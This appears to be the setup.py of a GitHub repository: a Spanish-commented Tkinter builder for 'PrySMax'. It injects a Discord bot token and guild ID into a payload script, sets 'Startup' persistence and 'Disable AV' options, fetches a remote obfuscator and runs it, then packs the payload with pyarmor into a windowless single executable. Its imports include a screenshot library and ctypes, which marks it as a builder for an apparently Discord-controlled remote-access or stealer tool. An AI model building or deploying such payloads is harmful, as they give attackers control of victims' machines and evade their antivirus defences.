-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsetup.py
198 lines (163 loc) · 7.72 KB
/
setup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
import subprocess
import sys
import shutil
import os
import json
import requests
import tkinter as tk
from tkinter import messagebox, filedialog
# Verificar e instalar tkinter si no está instalado
try:
import tkinter as tk
from tkinter import messagebox, filedialog
except ImportError:
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'tk'])
# Reiniciar el programa después de instalar tkinter
os.execl(sys.executable, sys.executable, *sys.argv)
SETTINGS_DIR = "settings"
SETTINGS_FILE = os.path.join(SETTINGS_DIR, "settings.json")
obf_file_path = os.path.join("settings", "obf.py")
obfuscated_file_path = "builder/prysmax_obfuscated.py"
prysmax_source = "prysmax.py"
# Descargar el archivo de ofuscación
a = requests.get("https://raw.githubusercontent.com/Lawxsz/Py-obfuscator/main/obf.py")
with open(obf_file_path, "w", encoding='utf-8') as file:
file.write(a.text)
# Función para copiar el archivo prysmax.py a builder/prysmax.py
def copy_prysmax():
if not os.path.exists(prysmax_source):
messagebox.showerror("Error", f"No se encontró el archivo {prysmax_source}. Asegúrate de que esté en el directorio correcto.")
return False
if not os.path.exists("builder"):
os.makedirs("builder")
shutil.copy(prysmax_source, "builder/prysmax.py")
return True
def replace_in_file(file_path, bot_token, guild_id, startup_for, disable_av):
if not os.path.exists(file_path):
messagebox.showerror("Error", f"No se encontró el archivo {file_path}.")
return
with open(file_path, 'r') as file:
lines = file.readlines()
with open(file_path, 'w') as file:
for line in lines:
if line.startswith('bot_token = '):
line = f'bot_token = "{bot_token}"\n'
elif line.startswith('guild_id = '):
line = f'guild_id = "{guild_id}"\n'
elif line.startswith('startup_for = '):
line = f'startup_for = {str(startup_for)}\n'
elif line.startswith('Disable_AV = '):
line = f'Disable_AV = {str(disable_av)}\n'
file.write(line)
def apply_settings_to_file(bot_token, guild_id, startup_for, disable_av):
if copy_prysmax():
replace_in_file("builder/prysmax.py", bot_token, guild_id, startup_for, disable_av)
def save_settings(bot_token, guild_id, startup_for, disable_av):
if not os.path.exists(SETTINGS_DIR):
os.makedirs(SETTINGS_DIR)
settings = {
"bot_token": bot_token,
"guild_id": guild_id,
"startup_for": startup_for,
"disable_av": disable_av
}
with open(SETTINGS_FILE, 'w') as f:
json.dump(settings, f)
def load_settings():
if os.path.exists(SETTINGS_FILE):
with open(SETTINGS_FILE, 'r') as f:
return json.load(f)
return {}
def download_libraries():
libraries = ['mss', 'discord', 'requests', 'ctypes', 'tempfile']
for lib in libraries:
try:
subprocess.check_call([sys.executable, '-m', 'pip', 'install', lib])
print(f"Installing {lib}...")
except subprocess.CalledProcessError as e:
print(f"{lib}: {e}")
# Agregar las importaciones en prysmax.py
def add_imports(file_path):
if not os.path.exists(file_path):
messagebox.showerror("Error", f"No se encontró el archivo {file_path}.")
return
with open(file_path, 'r') as file:
content = file.read()
imports = '''import os
import sys
import ctypes
import requests
import mss
import discord
'''
if not content.startswith(imports):
with open(file_path, 'w') as file:
file.write(imports + '\n' + content)
# Ofuscar y luego compilar el script
def compile_script():
# Añadir las importaciones necesarias al archivo antes de la ofuscación
if os.path.exists("builder/prysmax.py"):
add_imports("builder/prysmax.py")
else:
messagebox.showerror("Error", "No se pudo encontrar 'builder/prysmax.py' para añadir importaciones.")
return
# Ejecutar la ofuscación con obf.py
subprocess.run(['python', obf_file_path, "builder\\prysmax.py", '-o', obfuscated_file_path])
# Compilar el archivo ofuscado con pyarmor
subprocess.run(f'pyarmor pack -e "--onefile --noconsole --icon=settings/prysmax.ico" {obfuscated_file_path}', shell=True)
def main():
root = tk.Tk()
root.title("PrySMax Configuration")
root.configure(background='#000000') # Fondo negro
root.iconbitmap('settings/prysmax.ico')
settings = load_settings()
# Estilo de fuente y colores
font_style = ("Courier", 12, 'bold')
title_font_style = ("Courier", 25, 'bold')
fg_color = "#ff0000" # Rojo
bg_color = "#000000" # Negro
entry_bg_color = "#33334d"
entry_fg_color = "#39ff14" # Neon
button_bg_color = "#ff0000" # Rojo
button_fg_color = "#ffffff" # Blanco
title_label = tk.Label(root, text="PRYSMAX", font=title_font_style, fg=entry_fg_color, bg=bg_color)
title_label.grid(row=0, columnspan=2, pady=(10, 20))
bot_token_label = tk.Label(root, text="BOT-TOKEN:", font=font_style, fg=fg_color, bg=bg_color)
bot_token_label.grid(row=1, column=0, padx=10, pady=5, sticky='e')
bot_token_entry = tk.Entry(root, font=font_style, bg=entry_bg_color, fg=entry_fg_color, insertbackground=entry_fg_color, width=30)
bot_token_entry.grid(row=1, column=1, padx=10, pady=5, sticky='w')
bot_token_entry.insert(0, settings.get("bot_token", ""))
guild_id_label = tk.Label(root, text="GUILD-ID:", font=font_style, fg=fg_color, bg=bg_color)
guild_id_label.grid(row=2, column=0, padx=10, pady=5, sticky='e')
guild_id_entry = tk.Entry(root, font=font_style, bg=entry_bg_color, fg=entry_fg_color, insertbackground=entry_fg_color, width=30)
guild_id_entry.grid(row=2, column=1, padx=10, pady=5, sticky='w')
guild_id_entry.insert(0, settings.get("guild_id", ""))
startup_var = tk.BooleanVar(value=settings.get("startup_for", False))
startup_check = tk.Checkbutton(root, text="Startup", font=font_style, bg=bg_color, fg=fg_color, selectcolor=entry_bg_color, variable=startup_var)
startup_check.grid(row=3, column=0, padx=10, pady=5)
av_var = tk.BooleanVar(value=settings.get("disable_av", False))
av_check = tk.Checkbutton(root, text="Disable AV", font=font_style, bg=bg_color, fg=fg_color, selectcolor=entry_bg_color, variable=av_var)
av_check.grid(row=3, column=1, padx=10, pady=5)
def apply_and_save_settings():
bot_token = bot_token_entry.get()
guild_id = guild_id_entry.get()
startup_for = startup_var.get()
disable_av = av_var.get()
apply_settings_to_file(bot_token, guild_id, startup_for, disable_av)
save_settings(bot_token, guild_id, startup_for, disable_av)
messagebox.showinfo("Success", "Settings saved and file updated successfully!")
apply_button = tk.Button(root, text="Apply and Save", font=font_style, bg=button_bg_color, fg=button_fg_color,
command=apply_and_save_settings)
apply_button.grid(row=4, columnspan=2, pady=10)
download_lib_button = tk.Button(root, text="Download Libraries", font=font_style, bg=button_bg_color, fg=button_fg_color,
command=download_libraries)
download_lib_button.grid(row=5, columnspan=2, pady=5)
compile_button = tk.Button(root, text="Compile", font=font_style, bg=button_bg_color, fg=button_fg_color,
command=compile_script)
compile_button.grid(row=6, columnspan=2, pady=5)
exit_button = tk.Button(root, text="Exit", font=font_style, bg=button_bg_color, fg=button_fg_color,
command=root.quit)
exit_button.grid(row=7, columnspan=2, pady=10)
root.mainloop()
if __name__ == '__main__':
main()